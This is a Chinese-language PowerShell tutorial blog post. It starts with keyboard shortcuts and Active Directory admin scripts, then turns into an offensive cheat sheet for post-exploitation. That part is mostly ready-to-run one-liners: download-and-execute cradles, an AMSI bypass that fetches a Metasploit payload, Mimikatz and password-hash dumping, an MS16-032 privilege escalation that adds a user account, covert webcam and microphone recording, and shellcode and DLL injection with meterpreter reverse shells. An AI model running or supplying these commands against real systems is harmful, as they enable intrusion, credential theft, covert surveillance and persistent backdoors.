Powershell-Basic-learning

凡是不能把我毁灭的,都将使我更强

powershell无所不能

0x01 初步认知

PowerShell是Windows的自动化平台和脚本语言,可让您简化系统管理。与其他基于文本的shell不同,他利用了Microsoft .NETFramework的强大功能,提供丰富的对象和大量内置函数来控制

PowerShell最初在2010年被提及为攻击平台,当它在Def Con 18中被提出作为概念证明。在PowerShell中纯粹编程的绑定和反向shell都在相同的上下文中被证明。

属性强化 +11

轻松访问网络连接
安装恶意的二进制文件到内存
直接访问Win32应用程序编程接口(API)
有着WMI类似的简单界面
强大的脚本环境
动态链接库直接调用
轻松访问加密库,例如IPSec,散列算法
挂钩托管代码的能力
组件对象模型COM的绑定

还有如Nishang,PowerSploit和PowerShell Empire平台等众多攻击工具,提供基于密码通信的后开发代理。这些工具可用于侦察,持续和横向攻击等技术。当然,在现在windows默认都安装的情况下,直接可以通过编程,提供定制的工具和技术,以保持隐身,并且不被普通的安全控制和防护软件所侦测

Powershell 快捷键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ALT+F7 清除命令的历史记录
PgUp PgDn 显示当前会话的第一个命令和最后一个命令
Enter 执行当前命令
End 将光标移至当前命令的末尾
Del 从右开始删除输入的命令字符
Esc 清空当前命令行
F2 自动补充历史命令至指定字符
(例如历史记录中存在Get-Process,按F2,提示"Enter char to copy up to",键入‘s’,自动补齐命令:Get-Proce)
F4 删除命令行至光标右边指定字符处
F7 对话框显示命令行历史记录
F8 检索包含指定字符的命令行历史记录
F9 根据命令行的历史记录编号选择命令,历史记录编号可以通过F7查看
左/右方向键 左右移动光标
上/下方向键 切换命令行的历史记录
Home 光标移至命令行最左端
Backspace 从右删除命令行字符
Ctrl+C 取消正在执行的命令
Ctrl+左/右方向键 在单词之间移动光标
Ctrl+Home 删除光标最左端的所有字符
Tab 自动补齐命令或者文件名

给AD添加自定义属性

如果你需要给AD对象添加自定义的属性,你可以使用一个哈希表设定属性的名字和值,这时候就可以使用微软RSAT工具包中的Set-ADUser命令来添加它。-add是给属性添加一个新的属性,-Remove是删除一个已存在属性值, –Replace则可以替换一个属性的值。

1
2
3
4
5
6
7
8
9
10
11
#requires -Version 1 -Modules ActiveDirectory
# create an empty hash table
$custom = @{}
# add the attribute names and values
$custom.ExtensionAttribute3 = 12
$custom.ExtensionAttribute4 = 'Hello'
# assign the attributes to your current user object
$user = $env:USERNAME
Set-ADUser -Identity $user -Add $custom

克隆AD权限

当你要创建一个委托对象(如管管理成员或组织单元),你实际上是在调整它的安全属性。
安全属性可能非常复杂,但克隆一个则非常简单,所以你可以选择克隆一个AD对象的安全权限。
下面教各位如何将一个OU对象的安全描述克隆给另外一个,开始前你需要添加AD模块:

1
2
3
4
5
6
7
8
#requires -Version 2 -Modules ActiveDirectory
Import-Module -Name ActiveDirectory
# read AD security from NewOU1
$sd = Get-Acl -Path 'AD:\OU=NewOU1,DC=powershell,DC=local'
# assign security to NewOU2
Set-Acl -Path 'AD:\OU=NewOU2,DC=powershell,DC=local' -AclObject $sd

获取域下面的操作系统列表

脚本会从AD中获取所有的机器账户,并通过操作系统名称对它们进行分组,然后生成一个列表。请最好使用分页,如果你的组织规模比较大,检索所有的机器可能会很耗时。

1
2
3
4
5
6
7
8
9
10
11
12
13
#<span class="tc-dropcap">r</span>equires -Version 1 -Modules ActiveDirectory
$max = 100
$os = Get-ADComputer -Filter * -Properties OperatingSystem -ResultPageSize $max |
Group-Object -Property OperatingSystem -NoElement |
Select-object -ExpandProperty Name |
ForEach-Object { '"{0}"' -f $_ }
$list = $os -join ','
$list
# 将列表复制到剪切板
$list | clip

Powershell被禁用

默认情况下的Server OS 对应的 Powershell的版本:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5

1
set-executionpolicy remotesigned #需要在管理员的状态下执行

.Net执行
p0wnedShell

1
2
3
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe /unsafe /reference:"C:\p0wnedShell\System.Management.Automation.dll" /reference:System.IO.Compression.dll /win32icon:C:\p0wnedShell\p0wnedShell.ico /out:C:\p0wnedShell\p0wnedShellx64.exe /platform:x64 "C:\p0wnedShell\*.cs"

PowerOPS

1
2
C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe

powershell能做什么?

Command

1
powershell -nop -exec bypass -c IEX ( New-Objectet.WebClient).DownloadString('http://ip:port/')

1
2
Get-Content payload.ps1 | iex
cmd.exe /K < payload.bat

link

1
powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==

获取无线密码

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Get-WLAN-Keys.ps1');Get-Wlan-Keys "

提权加账号

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'"

下载执行

1
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://b.hiphotos.baidu.com/image/pic/item/d009b3de9c82d15825ffd75c840a19d8bd3e42da.jpg','C:\\Users\Public\\test.jpg') & start C:\\Users\\Public\\test.jpg

摄像头录像

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1'); Capture-MiniEye -RecordTime 2 -Path $env:temp\hack.avi"

录音

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1');Get-MicrophoneAudio -Path $env:TEMP\secret.wav -Length 10 -Alias 'SECRET'"

use

1
powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')

下载

1
2
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file","C:%homepath%file")

Mimikatz

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
1
Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

Gethash

在线导hash

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

在线导明文

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

进程注入

1
2
3
4
5
6
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Get-Process 查看当前进程,记住你刚刚创建的隐藏进程ID
Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf) Invoke-Shellcode脚本注入
Powersploit
Invoke-Shellcode -ProcessID 2384 -Payload windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444

DLL注入

Invoke-DLLInjection 是DLL注入脚本
首先下载安装DLL注入脚本到目标机器

1
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-DllInjection.ps1")

在MSF生成DLL脚本,下载DLL使用Invoke-DLLInjection脚本实现DLL注入

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll -o /var/www/html/msf.dll

开启一个隐藏进程来进行DLL注入

1
2
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll

高级组合技打造“完美” 捆绑后门

0x02 将PowerShell脚本快速转换为bat文件

1
2
3
4
5
6
7
8
* 下载链接:https://github.com/artkond/bat-armor
* CodeExecution 在目标主机执行代码
* ScriptModification 在目标主机上创建或修改脚本
* Persistence 后门脚本(持久性控制)
* AntivirusBypass 发现杀软查杀特征
* Exfiltration 目标主机上的信息搜集工具
* Mayhem 蓝屏等破坏性脚本
* Recon 以目标主机为跳板进行内网信息侦查

https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/
https://rastamouse.me/2017/06/psexec-much/
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
https://github.com/samratashok/nishang
http://bobao.360.cn/learning/detail/3200.html
http://wooyun.jozxing.cc/static/drops/papers-16818.html
http://www.labofapenetrationtester.com/

本文为原创,转载请遵守本站的版本

更新于: 2018年5月16日 14:05